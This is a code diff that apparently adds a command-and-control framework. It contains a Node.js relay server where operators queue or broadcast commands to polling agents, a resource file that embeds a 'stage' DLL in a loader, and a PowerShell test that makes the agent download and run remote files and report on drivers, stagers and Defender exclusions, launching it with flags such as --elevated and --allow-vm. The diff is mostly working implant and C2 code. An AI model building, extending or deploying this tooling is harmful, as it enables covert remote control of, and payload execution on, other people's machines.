(!Number.isFinite(tsNum) || Math.abs(now() - tsNum) > 300) + return null; + + const canonicalPath = url.pathname.replace(/^\//, "") + url.search; + const canonical = `${agent}\n${ts}\n${req.method}\n${canonicalPath}\n${sha256Hex(body)}`; + + if (safeEqual(hmacHex(deriveAgentSecret(agent), canonical), sign)) + return agent; + + if (LEGACY_MASTER_AUTH && safeEqual(hmacHex(AGENT_SECRET, canonical), sign)) + return agent; + + return null; +} + +function operatorOk(req, url) +{ + const key = req.headers["x-operator-key"] || url.searchParams.get("key") || ""; + return OPERATOR_KEY && safeEqual(key, OPERATOR_KEY); +} + +function agentRow(id) +{ + return db.prepare("SELECT * FROM agents WHERE id = ?").get(id); +} + +function poll(agent, req, res) +{ + const row = agentRow(agent); + + if (row && row.revoked) + return text(res, "revoked", 403); + + const t = now(); + + db.prepare(` + INSERT INTO agents (id, first_seen, last_seen, host, user, sid, version, interval, system) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(id) DO UPDATE SET + last_seen = excluded.last_seen, + host = COALESCE(excluded.host, agents.host), + user = COALESCE(excluded.user, agents.user), + sid = COALESCE(excluded.sid, agents.sid), + version = COALESCE(excluded.version, agents.version), + interval = COALESCE(excluded.interval, agents.interval), + system = excluded.system + `).run( + agent, t, t, + req.headers["x-agent-host"] || null, + req.headers["x-agent-user"] || null, + req.headers["x-agent-sid"] || null, + req.headers["x-agent-version"] || null, + Number(req.headers["x-agent-interval"]) || null, + req.headers["x-agent-system"] === "1" ? 1 : 0 + ); + + const cmd = db.prepare(` + SELECT id, text FROM commands + WHERE agent = ? AND state = 'queued' + ORDER BY created ASC LIMIT 1 + `).get(agent); + + if (!cmd) + return text(res, "", 204); + + db.prepare("UPDATE commands SET state = 'sent', sent = ? WHERE id = ?").run(t, cmd.id); + + const b64 = Buffer.from(String(cmd.text), "utf8").toString("base64"); + text(res, cmd.id + "\n" + b64); +} + +function ack(agent, url, body, res) +{ + const id = url.searchParams.get("id") || ""; + const raw = body.toString("utf8"); + + let result = raw; + + try { result = Buffer.from(raw, "base64").toString("utf8"); } catch { } + + if (result.length > 32768) + result = result.slice(0, 32768) + "\n[truncated]"; + + db.prepare("UPDATE commands SET state='done', finished=?, result=? WHERE id=? AND agent=?") + .run(now(), result, id, agent); + + db.prepare("UPDATE agents SET last_seen=? WHERE id=?").run(now(), agent); + + text(res, "ok"); +} + +let lastPrune = 0; + +// Keeps the database from growing forever. Commands are pruned by age and by +// count, events by age. Runs at most once a minute, from the agents endpoint. +function prune() +{ + if (now() - lastPrune < 60) + return; + + lastPrune = now(); + + const cmdDays = Number(process.env.RETAIN_COMMAND_DAYS || 7); + const evtDays = Number(process.env.RETAIN_EVENT_DAYS || 30); + const maxCommands = Number(process.env.RETAIN_MAX_COMMANDS || 50000); + + db.prepare("DELETE FROM commands WHERE created < ?").run(now() - cmdDays * 86400); + db.prepare("DELETE FROM events WHERE ts < ?").run(now() - evtDays * 86400); + + db.prepare(`DELETE FROM commands WHERE id IN ( + SELECT id FROM commands ORDER BY created DESC LIMIT -1 OFFSET ? + )`).run(maxCommands); +} + +function reapStale() +{ + db.prepare("UPDATE commands SET state='queued', sent=NULL WHERE state='sent' AND sent IS NOT NULL AND sent < ?") + .run(now() - 180); +} + +function agentsPayload() +{ + reapStale(); + prune(); + + const t = now(); + const rows = db.prepare(` + SELECT a.*, (SELECT COUNT(*) FROM commands c WHERE c.agent = a.id AND c.state='queued') AS queued + FROM agents a ORDER BY a.last_seen DESC + `).all(); + + return rows.map(a => { + const interval = a.interval || 15000; + const intervalSec = Math.max(1, Math.round(interval / 1000)); + const age = t - a.last_seen; + + return { + id: a.id, host: a.host, user: a.user, sid: a.sid, version: a.version, + interval, system: !!a.system, tags: a.tags, queued: a.queued, + first_seen: a.first_seen, last_seen: a.last_seen, + age, + // interval is stored in ms, timestamps are seconds. + online: age < Math.max(intervalSec * 3, 45), + revoked: !!a.revoked + }; + }); +} + +function enqueue(agent, cmdText, operator) +{ + const id = crypto.randomUUID(); + + db.prepare("INSERT INTO commands (id, agent, text, state, created, operator) VALUES (?,?,?,?,?,?)") + .run(id, agent, cmdText, "queued", now(), operator); + + db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)") + .run(now(), "enqueue", agent, String(cmdText).slice(0, 200)); + + return id; +} + +async function handle(req, res) +{ + const url = new URL(req.url, "http://local"); + const p = url.pathname; + + if (PROXY_SECRET && req.headers["x-proxy-secret"] !== PROXY_SECRET) + return text(res, "denied", 403); + + const body = ["GET", "HEAD"].includes(req.method) ? Buffer.alloc(0) : await readBody(req); + + if (p === "/" || p === "/panel") + { + try + { + return text(res, fs.readFileSync(PANEL_PATH), 200, "text/html; charset=utf-8"); + } + catch + { + return text(res, "panel missing at " + PANEL_PATH, 500); + } + } + + if (p.startsWith("/file/")) + { + const name = path.basename(decodeURIComponent(p.slice(6))); + const file = path.join(DATA_DIR, "files", name); + + if (!fs.existsSync(file)) + return text(res, "not found", 404); + + return text(res, fs.readFileSync(file), 200, "application/octet-stream"); + } + + if (p.startsWith("/api/")) + { + if (p !== "/api/enroll" && !operatorOk(req, url)) + return json(res, { ok: false, error: "denied" }, 403); + + if (p === "/api/enroll" && req.method === "POST") + { + const provided = req.headers["x-enroll-secret"] || ""; + + if (!ENROLL_SECRET || !safeEqual(provided, ENROLL_SECRET)) + return json(res, { ok: false, error: "enroll denied" }, 403); + + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !/^[A-Za-z0-9._-]{1,64}$/.test(payload.agent || "")) + return json(res, { ok: false, error: "valid agent id required" }, 400); + + const t = now(); + + db.prepare(`INSERT INTO agents (id, first_seen, last_seen, revoked) VALUES (?,?,?,0) + ON CONFLICT(id) DO UPDATE SET revoked = 0`).run(payload.agent, t, t); + + db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)") + .run(t, "enroll", payload.agent, "issued"); + + return json(res, { ok: true, agent: payload.agent, secret: deriveAgentSecret(payload.agent) }); + } + + if (p === "/api/revoke" && req.method === "POST") + { + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !payload.agent) + return json(res, { ok: false, error: "agent required" }, 400); + + const revoked = payload.revoked === false ? 0 : 1; + + db.prepare("UPDATE agents SET revoked=? WHERE id=?").run(revoked, payload.agent); + + db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)") + .run(now(), "revoke", payload.agent, revoked ? "revoked" : "restored"); + + return json(res, { ok: true, agent: payload.agent, revoked: !!revoked }); + } + + if (p === "/api/agents") + return json(res, { ok: true, now: now(), agents: agentsPayload() }); + + if (p === "/api/stats") + { + const counts = db.prepare("SELECT state, COUNT(*) AS n FROM commands GROUP BY state").all(); + const agents = db.prepare(` + SELECT COUNT(*) AS n, SUM(CASE WHEN last_seen > ? THEN 1 ELSE 0 END) AS online FROM agents + `).get(now() - 300); + + return json(res, { ok: true, agents: agents.n || 0, online: agents.online || 0, commands: counts }); + } + + if (p === "/api/commands") + { + const agent = url.searchParams.get("agent") || ""; + const limit = Math.min(Number(url.searchParams.get("limit") || 50), 200); + + const rows = agent + ? db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator, + substr(COALESCE(result,''),1,2000) AS result + FROM commands WHERE agent=? ORDER BY created DESC LIMIT ?`).all(agent, limit) + : db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator, + substr(COALESCE(result,''),1,2000) AS result + FROM commands ORDER BY created DESC LIMIT ?`).all(limit); + + return json(res, { ok: true, commands: rows }); + } + + if (p === "/api/enqueue" && req.method === "POST") + { + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !payload.agent || !payload.text) + return json(res, { ok: false, error: "agent and text required" }, 400); + + return json(res, { ok: true, id: enqueue(payload.agent, payload.text, "panel") }); + } + + if (p === "/api/broadcast" && req.method === "POST") + { + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !payload.text) + return json(res, { ok: false, error: "text required" }, 400); + + const t = now(); + const rows = db.prepare("SELECT id FROM agents WHERE last_seen > ?").all(t - 300); + + for (const a of rows) + enqueue(a.id, payload.text, "broadcast"); + + return json(res, { ok: true, sent: rows.length, agents: rows.map(a => a.id) }); + } + + if (p.startsWith("/api/command/")) + { + const row = db.prepare("SELECT * FROM commands WHERE id=?").get(p.slice(13)); + + return row ? json(res, { ok: true, command: row }) : json(res, { ok: false, error: "not found" }, 404); + } + + return json(res, { ok: false, error: "unknown endpoint" }, 404); + } + + if (p === "/poll" || p === "/ack" || p === "/status" || p === "/enqueue") + { + const agent = authenticateAgent(req, url, body); + + if (!agent) + return text(res, "denied", 403); + + if (p === "/poll") + return poll(agent, req, res); + + if (p === "/ack" && req.method === "POST") + return ack(agent, url, body, res); + + if (p === "/status") + { + const row = db.prepare("SELECT result FROM commands WHERE agent=? AND state='done' ORDER BY finished DESC LIMIT 1").get(agent); + const last = row && row.result ? Buffer.from(row.result, "utf8").toString("base64") : null; + return json(res, { ok: true, agent, last }); + } + + if (p === "/enqueue" && req.method === "POST") + { + const cmdText = body.toString("utf8").trim(); + + if (!cmdText) + return text(res, "empty", 400); + + return json(res, { ok: true, id: enqueue(agent, cmdText, "agent") }); + } + } + + text(res, "ok"); +} + +const server = http.createServer((req, res) => { + handle(req, res).catch(err => { + try { json(res, { ok: false, error: String(err && err.message ? err.message : err) }, 500); } catch { } + }); +}); + +server.listen(PORT, () => { + console.log(`relay server on http://127.0.0.1:${PORT}`); + console.log(`data: ${DATA_DIR}`); + console.log(`panel: ${PANEL_PATH}`); + console.log(`legacy master auth: ${LEGACY_MASTER_AUTH}`); +console.log(`journal mode: ${db.prepare("PRAGMA journal_mode").get().journal_mode}`); +}); diff --git a/stage_res.rc b/stage_res.rc new file mode 100644 index 0000000..f4df691 --- /dev/null +++ b/stage_res.rc @@ -0,0 +1,9 @@ +#include +#include "resource.h" + +// The stage payload is packed into the loader when build.ps1 has copied +// ardrvstage.dll next to this project first. Without that file the resource is +// omitted and the loader falls back to a DLL on disk. +#ifdef HAVE_STAGE_DLL +IDR_STAGE_DLL RCDATA "ardrvstage.dll" +#endif diff --git a/test-cloud.ps1 b/test-cloud.ps1 new file mode 100644 index 0000000..36ccaaa --- /dev/null +++ b/test-cloud.ps1 @@ -0,0 +1,298 @@ +# End-to-end test for the cloud agent against the local mock worker. +# +# powershell -ExecutionPolicy Bypass -File test-cloud.ps1 +# +# Requests are HMAC-SHA256 signed exactly like the agent does it. +# Exercises: PING, STATUS, DOWNLOAD, DEPLOY, bad-hash rejection, STOP. + +param( + [int]$Port = 8790, + [string]$Secret = "testsecret", + [string]$AgentId = "clitest", + [string]$OperatorKey = "testop", + [string]$Exe = "$PSScriptRoot\x64\Release\ArDrvLoader.exe" +) + +$ErrorActionPreference = "Stop" + +if (-not (Test-Path -LiteralPath $Exe)) +{ + throw "Agent binary not found: $Exe (build Release first)" +} + +$base = "http://127.0.0.1:$Port" +$payloadDir = Join-Path $env:TEMP "ardrv-test-payloads" +$downloadDir = Join-Path $env:TEMP "ardrv-test-downloads" + +Remove-Item -Recurse -Force $payloadDir, $downloadDir -ErrorAction SilentlyContinue +New-Item -ItemType Directory -Force -Path $payloadDir, $downloadDir | Out-Null + +$payloadPath = Join-Path $payloadDir "hello.cmd" +"@echo off`r`necho deployed-by-cloud-agent" | Set-Content -LiteralPath $payloadPath -Encoding ASCII + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + + try + { + if ($null -eq $Bytes -or $Bytes.Length -eq 0) + { + $stream = New-Object System.IO.MemoryStream + } + else + { + $stream = New-Object System.IO.MemoryStream(, $Bytes) + } + + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message)) + return ([BitConverter]::ToString($hash) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +function Invoke-Worker([string]$Path, [string]$Method = "GET", [string]$Body = "") +{ + $bodyBytes = if ($Body) { [System.Text.Encoding]::UTF8.GetBytes($Body) } else { [byte[]]@() } + $ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + $canonicalPath = $Path.TrimStart("/") + $canonical = "$AgentId`n$ts`n$Method`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)" + $sign = Get-HmacHex $Secret $canonical + + $headers = @{ + "X-Agent-Id" = $AgentId + "X-Agent-Ts" = $ts + "X-Agent-Sign" = $sign + } + + $uri = "$base$Path" + + if ($Method -eq "POST") + { + return Invoke-WebRequest -Method Post -Uri $uri -Body ([byte[]]$bodyBytes) -ContentType "application/octet-stream" -Headers $headers -UseBasicParsing + } + + return Invoke-WebRequest -Method Get -Uri $uri -Headers $headers -UseBasicParsing +} + +function Decode-Last([string]$Value) +{ + if (-not $Value) { return "" } + + try + { + return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value)) + } + catch + { + return $Value + } +} + +function Send-Command([string]$Command, [int]$TimeoutSec = 45) +{ + # Enqueue through the operator API, then poll that exact command id. + # Waiting on "last changed" is flaky: identical outputs look like timeouts. + $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes((@{ agent = $AgentId; text = $Command } | ConvertTo-Json -Compress)) + $res = Invoke-WebRequest -Method Post -Uri "$base/api/enqueue" -Body $bodyBytes ` + -ContentType "application/json" -Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing + + $id = ($res.Content | ConvertFrom-Json).id + + $deadline = (Get-Date).AddSeconds($TimeoutSec) + + while ((Get-Date) -lt $deadline) + { + Start-Sleep -Milliseconds 400 + + $list = (Invoke-WebRequest -Uri "$base/api/commands?agent=$AgentId&limit=30" ` + -Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing).Content | ConvertFrom-Json + + $cmd = @($list.commands | Where-Object { $_.id -eq $id }) | Select-Object -First 1 + + if ($cmd -and $cmd.state -eq "done") + { + return [string]$cmd.result + } + } + + return "" +} + +Write-Host "starting mock worker..." +$mockArgs = @( + "-ExecutionPolicy", "Bypass", + "-File", "$PSScriptRoot\cloudflare\mock-worker.ps1", + "-Port", "$Port", + "-Secret", $Secret, + "-FileDir", $payloadDir +) + +$mock = Start-Process -FilePath "powershell.exe" -ArgumentList $mockArgs -PassThru -WindowStyle Hidden +Start-Sleep -Seconds 2 + +Write-Host "starting agent..." +$agentArgs = @( + "-cloud", + "--agent", $AgentId, + "--url", $base, + "--secret", $Secret, + "--interval", "1000", + "--no-start-driver", + "--elevated", + "--allow-vm" +) + +$agent = Start-Process -FilePath $Exe -ArgumentList $agentArgs -PassThru -WindowStyle Hidden +Start-Sleep -Seconds 2 + +$results = [ordered]@{} + +try +{ + Write-Host "`nPING ->" -NoNewline + $results["PING"] = Send-Command "PING" + Write-Host " $($results['PING'])" + + Write-Host "STATUS ->" -NoNewline + $results["STATUS"] = Send-Command "STATUS" + Write-Host " $($results['STATUS'])" + + $dlTarget = Join-Path $downloadDir "hello.cmd" + Write-Host "DOWNLOAD ->" -NoNewline + $results["DOWNLOAD"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$dlTarget`"" + Write-Host " $($results['DOWNLOAD'])" + + Write-Host "BADHASH ->" -NoNewline + $results["BADHASH"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$downloadDir\bad.cmd`" 0000000000000000000000000000000000000000000000000000000000000000" + Write-Host " $($results['BADHASH'])" + + Write-Host "DEPLOY ->" -NoNewline + $results["DEPLOY"] = Send-Command "DEPLOY $base/file/hello.cmd" + Write-Host " $($results['DEPLOY'])" + + Write-Host "HOST_LIST ->" -NoNewline + $results["HOST_LIST"] = Send-Command "HOST_LIST" + Write-Host " $($results['HOST_LIST'].Split("`n")[0])" + + Write-Host "HOST_TRACK ->" -NoNewline + $results["HOST_TRACK"] = Send-Command "HOST_TRACK" + Write-Host " $($results['HOST_TRACK'])" + + Write-Host "STAGE_STATUS ->" -NoNewline + $results["STAGE_STATUS"] = Send-Command "STAGE_STATUS" + Write-Host " $($results['STAGE_STATUS'])" + + Write-Host "EXCLUSION_LIST ->" -NoNewline + $results["EXCLUSION_LIST"] = Send-Command "EXCLUSION_LIST" + Write-Host " $(($results['EXCLUSION_LIST'] -split "`n")[0])" + + Write-Host "DRIVER_STATUS ->" -NoNewline + $results["DRIVER_STATUS"] = Send-Command "DRIVER_STATUS" + Write-Host " $($results['DRIVER_STATUS'])" + + Write-Host "STOP ->" -NoNewline + $results["STOP"] = Send-Command "STOP" + Write-Host " $($results['STOP'])" + + # Unsigned request must be rejected by the worker. + try + { + $null = Invoke-WebRequest -Method Get -Uri "$base/status" -UseBasicParsing + $results["UNSIGNED"] = "ACCEPTED (bad)" + } + catch + { + $results["UNSIGNED"] = "403 rejected" + } +} +finally +{ + Wait-Process -Id $agent.Id -Timeout 10 -ErrorAction SilentlyContinue + Stop-Process -Id $agent.Id -Force -ErrorAction SilentlyContinue + Stop-Process -Id $mock.Id -Force -ErrorAction SilentlyContinue +} + +$downloaded = Test-Path -LiteralPath $dlTarget +$badExists = Test-Path -LiteralPath (Join-Path $downloadDir "bad.cmd") + +$deployPath = "" +if ($results["DEPLOY"] -match "^OK (?:SYSTEM )?(.+)$") { $deployPath = $matches[1] } +$deployed = $deployPath -and (Test-Path -LiteralPath $deployPath) + +Write-Host "`n--- summary ---" +$results.GetEnumerator() | ForEach-Object { "{0,-9} {1}" -f $_.Key, $_.Value } +"download file exists : $downloaded" +"bad-hash file removed : $(-not $badExists)" +"deployed file exists : $deployed" + +$failed = @() + +foreach ($key in @("PING", "STATUS", "DOWNLOAD", "DEPLOY", "STOP")) +{ + if ($results[$key] -match "^(ERR|)") + { + $failed += "$key failed" + } +} + +if (-not ([string]$results["HOST_LIST"]).Contains("hosts=")) +{ + $failed += "host list failed" +} + +if (-not (([string]$results["HOST_TRACK"]).Contains("alive=") -or ([string]$results["HOST_TRACK"]).Contains("track=none"))) +{ + $failed += "host track failed" +} + +if (-not ([string]$results["STAGE_STATUS"]).Contains("alive=")) +{ + $failed += "stage status failed" +} + +if (-not ([string]$results["EXCLUSION_LIST"]).Contains("defender=")) +{ + $failed += "exclusion list failed" +} + +if (-not ([string]$results["DRIVER_STATUS"]).Contains("fail=")) +{ + $failed += "driver status failed" +} + +if ($results["BADHASH"] -notmatch "^ERR DOWNLOAD hash mismatch") +{ + $failed += "bad-hash not rejected" +} + +if ($results["UNSIGNED"] -notmatch "403") +{ + $failed += "unsigned request accepted" +} + +if ($failed) +{ + Write-Host "`nFAIL: $($failed -join '; ')" + exit 1 +} + +Write-Host "`nPASS" +exit 0 + + + + + +